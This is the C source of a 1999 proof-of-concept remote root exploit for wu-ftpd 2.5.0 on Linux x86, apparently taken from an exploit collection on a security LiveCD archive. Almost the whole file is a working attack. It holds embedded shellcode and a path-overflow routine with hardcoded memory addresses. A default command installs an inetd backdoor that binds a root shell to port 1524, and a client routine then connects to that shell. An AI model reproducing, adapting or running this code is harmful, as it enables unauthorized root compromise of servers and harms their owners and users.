home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / wuftpd / wu250.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  12KB  |  480 lines

  1. /*
  2.  *  Copyright (c) 1999 anathema <anathema@hack.co.za>. All rights reserved.
  3.  *                 ->  PRIVATE. DO NOT DISTRIBUTE.  <-
  4.  *
  5.  *  wu-ftpd 2.5.0 proof-of-concept remote root exploit (linux x86)
  6.  *  Tested against wu-ftpd2.5.0 default source compilation.
  7.  *
  8.  *  As we don't perform any error checking in ftp_login(), you should 
  9.  *  not specify an invalid username, password or initial directory.
  10.  *
  11.  *  You will need to obtain the correct offsets for each specific 
  12.  *  variant of wu-ftpd. Read the comments.
  13.  */
  14.  
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #include <unistd.h>
  18. #include <ctype.h>
  19. #include <string.h>
  20. #include <stdarg.h>
  21. #include <fcntl.h>
  22. #include <memory.h>
  23. #include <sys/types.h>
  24. #include <sys/socket.h>
  25. #include <sys/time.h>
  26. #include <netinet/in.h>
  27. #include <arpa/inet.h>
  28. #include <netdb.h>
  29.  
  30. /*
  31.  *  You will almost certainly need to modify these for the specific
  32.  *  wu-ftpd you are attempting to exploit.
  33.  */
  34. #define ADDR_MAPPEDPATH        0x8067360
  35. #define ADDR_ERRCATCH_ST    0x8074f90
  36. #define ADDR_ERRCATCH_FI    0x8074fa4
  37.  
  38. /*
  39.  *  MAXPATHLEN is usually 1024.
  40.  */
  41. #define REMOTE_MAXPATHLEN    1024
  42.  
  43. #define FTP_PORT        21
  44. #define BD_PORT            1524
  45. #define RETPOS            255
  46. #define PRLEN            164
  47. /* #define VERBOSE */
  48.  
  49. /*
  50.  *  Function prototypes.
  51.  */
  52. u_long resolve_host(u_char *);
  53. void ftp_login(int, u_char *, u_char *, u_char *);
  54. void send_data(int, u_char *, ...);
  55. void recv_data(int, int);
  56. void exploit(int, u_char *, u_int, u_int, u_int);
  57. void surface_patterns(u_long);
  58. void euphoric(u_long, u_char *, u_char *, u_char *, u_short, u_short,
  59.               u_int, int, u_char *);
  60.  
  61. char c0de[] =
  62.   "\x29\xc0\x29\xdb\x29\xc9\xb0\x46\xcd\x80\xeb\x64\x5b\x89\xd9\x80\xc1\x0f\x39"
  63.   "\xd9\x7c\x06\x80\x29\x04\x49\xeb\xf6\x29\xc0\x88\x43\x01\x88\x43\x08\x88\x43"
  64.   "\x10\x87\xf3\xb0\x0c\x8d\x5e\x07\xcd\x80\xb0\x27\x8d\x1e\x29\xc9\xcd\x80\x29"
  65.   "\xc0\xb0\x3d\xcd\x80\x29\xc0\xb0\x0c\x8d\x5e\x02\xcd\x80\x29\xc0\x88\x46\x03"
  66.   "\xb0\x3d\x8d\x5e\x02\xcd\x80\x29\xc0\x8d\x5e\x09\x89\x5b\x08\x89\x43\x0c\x88"
  67.   "\x43\x07\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\x29\xc0\x40\xcd\x80\xe8\x97"
  68.   "\xff\xff\xff\xff\xff\xff\x45\x45\x32\x32\x33\x32\x32\x33\x45\x33\x66\x6d\x72"
  69.   "\x33\x77\x6c";
  70.  
  71. u_long
  72. resolve_host(u_char *host_name)
  73. {
  74.   struct in_addr addr;
  75.   struct hostent *host_ent;
  76.  
  77.   addr.s_addr = inet_addr(host_name);
  78.   if (addr.s_addr == -1)
  79.     {
  80.       host_ent = gethostbyname(host_name);
  81.       if (!host_ent) return(0);
  82.       memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
  83.     }
  84.  
  85.   return(addr.s_addr);
  86. }
  87.  
  88. void
  89. ftp_login(int sock, u_char *user, u_char *pass, u_char *dir)
  90. {
  91.   recv_data(sock, 1);
  92.   send_data(sock, "USER %s\n", user);
  93.   send_data(sock, "PASS %s\n", pass);
  94.   send_data(sock, "CWD %s\n",  dir);
  95. }
  96.  
  97. void
  98. send_data(int sock, u_char *buf, ...)
  99. {
  100.   u_char  tmp_buf[4096];
  101.   va_list valist;
  102.  
  103.   memset(tmp_buf, 0, sizeof(tmp_buf));
  104.  
  105.   va_start(valist, buf);
  106.   vsnprintf(tmp_buf, sizeof(tmp_buf), buf, valist);
  107.  
  108. #ifdef VERBOSE
  109.   fprintf(stderr, "-> %s", tmp_buf);
  110. #endif /* VERBOSE */
  111.  
  112.   usleep(10000);
  113.   if (write(sock, tmp_buf, strlen(tmp_buf)) == -1)
  114.     {
  115.       perror("write");
  116.       close(sock);
  117.       exit(-1);
  118.     }
  119.  
  120.   va_end(valist);
  121.   recv_data(sock, 1);
  122. }
  123.  
  124. void
  125. recv_data(int sock, int disp)
  126. {
  127.   u_char tmp_buf[4096];
  128.  
  129.   usleep(10000);
  130.   memset(tmp_buf, 0, sizeof(tmp_buf));
  131.  
  132.   if (recv(sock, tmp_buf, sizeof(tmp_buf) - 1, 0) == -1)
  133.     {
  134.       if (disp)
  135.         {
  136.           perror("recv");
  137.           close(sock);
  138.           exit(-1);
  139.         }
  140.     }
  141.  
  142.   if (disp) fprintf(stderr, ": %s\n", tmp_buf);
  143. }
  144.  
  145. void
  146. exploit(int sock, u_char *pwd, u_int dir_len, u_int p_len, u_int align)
  147. {
  148.   u_long errcatch_st_addr = ADDR_ERRCATCH_ST;
  149.   u_long errcatch_fi_addr = ADDR_ERRCATCH_FI;
  150.   u_long mappedpath_addr  = ADDR_MAPPEDPATH;
  151.   u_long append_addr      = errcatch_st_addr;
  152.   u_char padding[4096];
  153.   u_char buf[25000];
  154.   u_int  fill_tr          = 0;
  155.   int i = 0, nl = 0;
  156.  
  157.   errcatch_st_addr -= p_len;
  158.   errcatch_fi_addr += p_len;
  159.   append_addr      += (p_len + align);
  160.   fill_tr           = REMOTE_MAXPATHLEN / (dir_len + p_len);
  161.  
  162. #ifdef VERBOSE
  163.   fprintf(stderr,
  164.           "fill_tr          == %d\n"
  165.           "errcatch_st_addr == 0x%lx && "
  166.           "errcatch_fi_addr == 0x%lx && "
  167.           "append_addr      == 0x%lx\n",
  168.           fill_tr, errcatch_st_addr, errcatch_fi_addr, append_addr);
  169. #endif /* VERBOSE */
  170.  
  171.   memset(buf, 0, sizeof(buf));
  172.   memset(padding, 0, sizeof(padding));
  173.   memset(padding, 0x90, RETPOS - (p_len + align));
  174.  
  175.   for (; i < fill_tr; i++)
  176.     {
  177.       send_data(sock, "MKD %s\n", padding);
  178.       send_data(sock, "CWD %s\n", padding);
  179.     }
  180.  
  181.   memset(padding, 0, sizeof(padding));
  182.   memcpy(padding, c0de, strlen(c0de));
  183.   padding[strlen(padding)+1] = 0;
  184.  
  185.   send_data(sock, "MKD %s\n", padding);
  186.   send_data(sock, "CWD %s\n", padding);
  187.  
  188.   memcpy(buf, "CWD ", 4);
  189.   memset(buf + 4, 0x90, strlen(padding));
  190.   append_addr += (dir_len + (84 - p_len));
  191.  
  192.   nl = strlen(buf) + 1;
  193.   for (i = nl; i < (nl + 84 - p_len); i += 4)
  194.     {
  195.       buf[i+0] = (errcatch_st_addr & 0xff);
  196.       buf[i+1] = (errcatch_st_addr >> 8) & 0xff;
  197.       buf[i+2] = (errcatch_st_addr >> 16) & 0xff;
  198.       buf[i+3] = (errcatch_st_addr >> 24) & 0xff;
  199.     }
  200.  
  201.   nl = strlen(buf) + 1;
  202.   for (i = nl; i < (nl + (p_len - dir_len)); i += 4)
  203.     {
  204.       buf[i+0] = (mappedpath_addr & 0xff);
  205.       buf[i+1] = (mappedpath_addr >> 8) & 0xff;
  206.       buf[i+2] = (mappedpath_addr >> 16) & 0xff;
  207.       buf[i+3] = (mappedpath_addr >> 24) & 0xff;
  208.     }
  209.  
  210.   i = strlen(buf) + 1;
  211.   buf[i++] = (errcatch_fi_addr & 0xff);
  212.   buf[i++] = (errcatch_fi_addr >> 8) & 0xff;
  213.   buf[i++] = (errcatch_fi_addr >> 16) & 0xff;
  214.   buf[i++] = (errcatch_fi_addr >> 24) & 0xff;
  215.  
  216.   nl = strlen(buf) + 1;
  217.   for (i = nl; i < (nl + 8); i += 4)
  218.     {
  219.       buf[i+0] = (append_addr & 0xff);
  220.       buf[i+1] = (append_addr >> 8) & 0xff;
  221.       buf[i+2] = (append_addr >> 16) & 0xff;
  222.       buf[i+3] = (append_addr >> 24) & 0xff;
  223.     }
  224.  
  225.   send_data(sock, "%s\n\n", buf);
  226. }
  227.  
  228. void
  229. surface_patterns(u_long dst_ip)
  230. {
  231.   struct sockaddr_in sin;
  232.   u_char sock_buf[4096];
  233.   fd_set fds;
  234.   int sock;
  235.  
  236.   fprintf(stderr, "Attempting to connect to backdoor..\n");
  237.   sleep(2);
  238.  
  239.   sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  240.   if (sock == -1)
  241.     {
  242.       perror("socket allocation");
  243.       exit(-1);
  244.     }
  245.  
  246.   sin.sin_family = AF_INET;
  247.   sin.sin_port   = htons(BD_PORT);
  248.   sin.sin_addr.s_addr = dst_ip;
  249.  
  250.   if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
  251.     {
  252.       perror("connecting to backdoor");
  253.       close(sock);
  254.       exit(-1);
  255.     }
  256.  
  257.   fprintf(stderr, "owned\n");
  258.   for (;;)
  259.     {
  260.       FD_ZERO(&fds);
  261.       FD_SET(0, &fds); /* STDIN_FILENO */
  262.       FD_SET(sock, &fds);
  263.  
  264.       if (select(255, &fds, NULL, NULL, NULL) == -1)
  265.         {
  266.           perror("select");
  267.           close(sock);
  268.           exit(-1);
  269.         }
  270.  
  271.       memset(sock_buf, 0, sizeof(sock_buf));
  272.  
  273.       if (FD_ISSET(sock, &fds))
  274.         {
  275.           if (recv(sock, sock_buf, sizeof(sock_buf) - 1, 0) == -1)
  276.             {
  277.               fprintf(stderr, "Connection closed by foreign host.\n");
  278.               close(sock);
  279.               exit(0);
  280.             }
  281.  
  282.           fprintf(stderr, "%s", sock_buf);
  283.         }
  284.  
  285.       if (FD_ISSET(0, &fds)) /* STDIN_FILENO */
  286.         {
  287.           read(0, sock_buf, sizeof(sock_buf) - 1);
  288.           write(sock, sock_buf, strlen(sock_buf));
  289.         }
  290.     }
  291.  
  292.   /* NOTREACHED */
  293. }
  294.  
  295. void
  296. euphoric(u_long dst_ip, u_char *user, u_char *pass, u_char *dir,
  297.          u_short src_prt, u_short dst_prt, u_int align, int alt_cmd,
  298.          u_char *cmd)
  299. {
  300.   struct sockaddr_in sin;
  301.   struct in_addr inaddr;
  302.   u_int  dir_len;
  303.   int sock;
  304.  
  305.   dir_len = (u_int)strlen(dir);
  306.   sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  307.   if (sock == -1)
  308.     {
  309.       perror("socket allocation");
  310.       exit(-1);
  311.     }
  312.  
  313.   if (src_prt)
  314.     {
  315.       struct sockaddr_in min;
  316.       min.sin_family = AF_INET;
  317.       min.sin_port   = htons(src_prt);
  318.       min.sin_addr.s_addr = INADDR_ANY;
  319.  
  320.       if (bind(sock, (struct sockaddr *)&min, sizeof(struct sockaddr)) == -1)
  321.         {
  322.           perror("bind");
  323.           close(sock);
  324.           exit(-1);
  325.         }
  326.     }
  327.  
  328.   sin.sin_family = AF_INET;
  329.   sin.sin_port   = htons(dst_prt);
  330.   sin.sin_addr.s_addr = dst_ip;
  331.  
  332.   if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
  333.     {
  334.       perror("connecting to ftp daemon");
  335.       close(sock);
  336.       exit(-1);
  337.     }
  338.  
  339.   inaddr.s_addr = dst_ip;
  340.   fprintf(stderr,
  341.           "\nAttacking target `%s`:\n Auth: [%s:%s]\n  Dir: [%s]\n",
  342.           inet_ntoa(inaddr), user, pass, dir);
  343.  
  344.   /*
  345.    *  Login to the FTP server.
  346.    *  No error checking is done here, so you should make sure
  347.    *  the login/pass/dir are valid before attempting to exploit.
  348.    */
  349.   ftp_login(sock, user, pass, dir);
  350.  
  351.   /*
  352.    *  The game starts here.
  353.    */
  354.   exploit(sock, dir, dir_len, (PRLEN + dir_len), align);
  355.  
  356.   /*
  357.    *  Now send the command we want executed to the FTP server.
  358.    */
  359.   send_data(sock, "%s\n", cmd);
  360.  
  361.   if (!alt_cmd)
  362.     {
  363.       /*
  364.        *  If the user hasn't specified an alternative command, make
  365.        *  the connection to the backdoor.
  366.  [2000]*/
  367.       surface_patterns(dst_ip);
  368.       /* NOTREACHED */
  369.     }
  370.  
  371.   sleep(2);
  372.   fprintf(stderr, "Completed.\n");
  373.   exit(0);
  374. }
  375.  
  376. void
  377. usage(u_char *nomenclature)
  378. {
  379.   fprintf(stderr,
  380.           "No.\nusage:\t%s dst_host|ip [ -u user ] [ -p pass ] [ -x dir ]\n\t"
  381.           "[ -s src_prt ] [ -d dst_prt ] [ -a align ] [ -c alt_cmd ]\n\n",
  382.           nomenclature);
  383.   exit(0);
  384. }
  385.  
  386. int
  387. main(int argc, char **argv)
  388. {
  389.   u_long  dst_ip      = 0;
  390.   u_short src_prt     = 0;
  391.   u_short dst_prt     = FTP_PORT;
  392.   u_int   align       = 0;
  393.   u_char  *user       = "ftp";
  394.   u_char  *pass       = "-rewt@broken";
  395.   u_char  *dir        = "incoming";
  396.   u_char  cmd[255];
  397.   int     opt         = 0;
  398.   int     alt_cmd     = 0;
  399.  
  400.   if (argc < 2)
  401.     {
  402.       usage(argv[0]);
  403.       /* NOTREACHED */
  404.     }
  405.  
  406.   dst_ip = resolve_host(argv[1]);
  407.   if (!dst_ip)
  408.     {
  409.       fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]);
  410.       exit(-1);
  411.     }
  412.  
  413.   memset(cmd, 0, sizeof(cmd));
  414.   while ((opt = getopt(argc, argv, "u:p:x:s:d:a:c:")) != EOF)
  415.     {
  416.       switch(opt)
  417.         {
  418.         case 'u':   /* username */
  419.           user = optarg;
  420.           break;
  421.         case 'p':   /* password */
  422.           pass = optarg;
  423.           break;
  424.         case 'x':   /* initial directory */
  425.           dir  = optarg;
  426.           break;
  427.         case 's':   /* source port */
  428.           src_prt = (u_short)atoi(optarg);
  429.           break;
  430.         case 'd':   /* alternative dest port */
  431.           dst_prt = (u_short)atoi(optarg);
  432.           break;
  433.         case 'a':   /* alignment */
  434.           align   = (u_int)atoi(optarg);
  435.           break;
  436.         case 'c':   /* alternative command */
  437.           strncpy(cmd, optarg, sizeof(cmd));
  438.           alt_cmd = 1;
  439.           break;
  440.         default:
  441.           usage(argv[0]);
  442.           /* NOTREACHED */
  443.         }
  444.     }
  445.  
  446.   if (src_prt < 1024)
  447.     {
  448.       /*
  449.        *  Must be root to bind() to a reserved source port.
  450.  [2000]*/
  451.       if (getuid() && geteuid())
  452.         {
  453.           fprintf(stderr, "Inadequate privileges\n");
  454.           exit(-1);
  455.         }
  456.     }
  457.  
  458.   if (!alt_cmd)
  459.     {
  460.       /*
  461.        *  Use the default command.
  462.        *  If used, the exploit will automatically spawn a remote shell.
  463.  [2000]*/
  464.       strcpy(cmd, "echo \"ingreslock stream tcp nowait root /bin/sh sh -i\" >/tmp/x; /usr/sbin/inetd /tmp/x\n");
  465.     }
  466.  
  467.   euphoric(dst_ip,     /* destination address */
  468.            user,        /* username */
  469.            pass,        /* password */
  470.            dir,         /* initial directory */
  471.            src_prt,     /* source port */
  472.            dst_prt,     /* destination port */
  473.            align,       /* alignment */
  474.            alt_cmd,     /* alternative command flag */
  475.            cmd);        /* command to execute */
  476.  
  477.   /* NOTREACHED */
  478. }
  479.  
  480. /*                    www.hack.co.za              [2000]*/